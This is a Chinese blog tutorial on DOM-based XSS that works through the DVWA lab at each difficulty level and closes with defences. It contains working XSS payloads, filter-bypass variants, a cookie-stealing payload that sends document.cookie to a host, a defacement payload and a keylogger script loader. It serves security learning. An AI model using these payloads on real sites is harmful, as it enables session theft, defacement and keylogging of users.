通過DVWA學習DOM型XSS

下了個新版的DVWA看了下,發現新增了好幾個Web漏洞類型,就玩一下順便做下筆記,完善一下之前那篇很水的DOM XSS文章,雖然這個也很水 :)

基本概念

DOM,全稱Document Object Model,是一個平臺和語言都中立的接口,可以使程序和腳本能夠動態訪問和更新文檔的內容、結構以及樣式。

DOM型XSS其實是一種特殊類型的反射型XSS,它是基於DOM文檔對象模型的一種漏洞,其觸發不需要經過服務器端,也就是說,服務端的防禦並不起作用。

在網站頁面中有許多頁面的元素,當頁面到達瀏覽器時瀏覽器會爲頁面創建一個頂級的Document object文檔對象,接着生成各個子文檔對象,每個頁面元素對應一個文檔對象,每個文檔對象包含屬性、方法和事件。可以通過JS腳本對文檔對象進行編輯從而修改頁面的元素。也就是說,客戶端的腳本程序可以通過DOM來動態修改頁面內容,從客戶端獲取DOM中的數據並在本地執行。基於這個特性,就可以利用JS腳本來實現XSS漏洞的利用。

 

可能觸發DOM型XSS的屬性

document.referer屬性

window.name屬性

location屬性

innerHTML屬性

documen.write屬性

······

 

Low級別

點擊正常功能觀察:

查看頁面源碼,可以看到以下框中的JS代碼,從URL欄中獲取default參數的值,這裏是通過獲取“default=”後面的字符串來實現的,然後直接寫到option標籤中,並沒有對特殊字符進行任何的過濾:

可以明確,這是由document.write屬性造成的DOM型XSS漏洞。

因爲這段JS代碼是本地執行的,獲取本地輸入的URL欄上的default參數再直接嵌入到option標籤中的,因而可以直接往default參數注入XSS payload即可:

<script>alert(document.cookie)</script>

檢測元素,可以看到是通過JS在本地動態執行嵌入了script標籤:

若要嘗試使用其他XSS payload,如img、svg等標籤,因爲select標籤內只允許內嵌option標籤,而option標籤中能內嵌script標籤但不能內嵌img等標籤,因此需要在注入時先閉合option和select標籤從而使注入的標籤逃逸出來執行XSS:

</option></select><img src=x onerror=alert("SKI12")>

最後查看源碼,沒有做任何防禦:

 

Medium級別

先嚐試payload:<script>alert(document.cookie)</script>

發現會重定向到English選項頁面。

推測可能是對script字符串進行了過濾,因此進行重複內嵌或大小寫組合等方式嘗試繞過:

<scri<script>pt>alert(document.cookie)</sc</script>ript>

<scRIpt>alert(document.cookie)</sCRIPT>

然而發現也是會重定向到English選項頁面。

應該是對script標籤進行了比較嚴格的過濾,

換個標籤類型的payload(注意要閉合前面的標籤如low級所說):

</option></select><svg/onload=alert(document.cookie)>

彈框成功:

因此可以推測,後臺代碼只是對script標籤進行了有效的過濾,而對於其他標籤則未進行過濾。

最後查看源碼,發現只對script標籤進行了過濾,過濾方式是調用stripos()函數獲取“<script”字符串出現在參數的哪個位置(不區分大小寫),因此重複內嵌和大小寫等方式無法繞過該過濾機制:

 

High級別

經過一系列XSS payload的嘗試,沒有成功 : (

沒辦法,看下源碼吧:

發現已經白名單寫死了,推測是不是存在某種截斷可以使得XSS得以注入彈框。

試了一會並未成功,無奈查看一下help提示:

The developer is now white listing only the allowed languages, you must find a way to run your code without it going to the server.

Spoiler: The fragment section of a URL (anything after the # symbol) does not get sent to the server and so cannot be blocked. The bad JavaScript being used to render the page reads the content from it when creating the page.

大概意思就是,需要找一種方法在本地運行你的JS代碼而無需經過服務器端的處理。這裏提供的一種方法就是,應用#號,URL欄的#號之後的內容並不會發送至服務器端,JS應用該符號實現在頁面創建加載過程中定向到指定的頁面內容上。

試一下在白名單字符串後添加#號的payload,剛輸入進去是無反應的,需要刷新一下觸發JS中#號的作用才能彈框:

English#</option></select><BODY ONLOAD=alert(document.cookie)>

 

Impossible級別

直接看源碼吧:

說是服務器端不需要做任何防禦措施,防禦的關鍵在於客戶端上。

查看help怎麼說:

The contents taken from the URL are encoded by default by most browsers which prevents any injected JavaScript from being executed.

大致就是,大多數瀏覽器默認都對從URL中獲取的內容進行編碼,以防止JS代碼注入執行。

回到xss dom的index.php中可以看到,對於impossible級別來說,在JS代碼document.write()中調用的decodeURI()是個空函數,即並不會對URL輸入進行URL編碼過的內容再進行URL解碼從而杜絕了DOM型XSS:

測試一下,注入payload,發現確實沒有進行URL解碼:

 

漏洞利用

和之前寫的《關於DOM型XSS漏洞的學習筆記》一樣,將其重複整理到一起吧。

測試的level是low,其他level同理。

竊取cookie——createElement()

利用JS的document.createElement()創建新標籤如img並將cookie信息通過img標籤src屬性來請求發往目標主機,payload如下:

/xss_d/?default=<script>var img=document.createElement("img");img.src="http://127.0.0.1:8000/a?"+escape(document.cookie);</script>

 

篡改頁面——innerHTML

主要用於篡改頁面,payload如下:

/xss_d/?default=<script>document.body.innerHTML="<div style=visibility:visible;><h1>DOM XSS By SKI12</h1></div>";</script>

 

鍵盤記錄——document.onkeypress

利用document.onkeypress可實現鍵盤記錄。

keylogger.js

放置於攻擊者的服務器中,讓目標服務器注入XSS後來訪問執行。

keylogger.php

放置於攻擊者的服務器中,用於接收目標服務器訪問執行了keylogger.js後傳送回來的用戶輸入的鍵盤信息,並保存在本地文件中。

payload:

/xss_d/?default=<script src="http://127.0.0.1/keylogger.js"></script>

此時用戶在該Web界面輸入的任何內容都會實時保存到keylog.txt中:

 

防禦

DOM型XSS主要是由客戶端的腳本通過DOM動態地輸出數據到頁面而不是依賴於將數據提交給服務器端,而從客戶端獲得DOM中的數據在本地執行,因而僅從服務器端是無法防禦的。其防禦在於:

(1) 避免客戶端文檔重寫、重定向或其他敏感操作,同時避免使用客戶端數據,這些操作儘量在服務器端使用動態頁面來實現;

(2) 分析和強化客戶端JS代碼,特別是受到用戶影響的DOM對象,注意能直接修改DOM和創建HTML文件的相關函數或方法,並在輸出變量到頁面時先進行編碼轉義,如輸出到HTML則進行HTML編碼、輸出到<script>則進行JS編碼。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章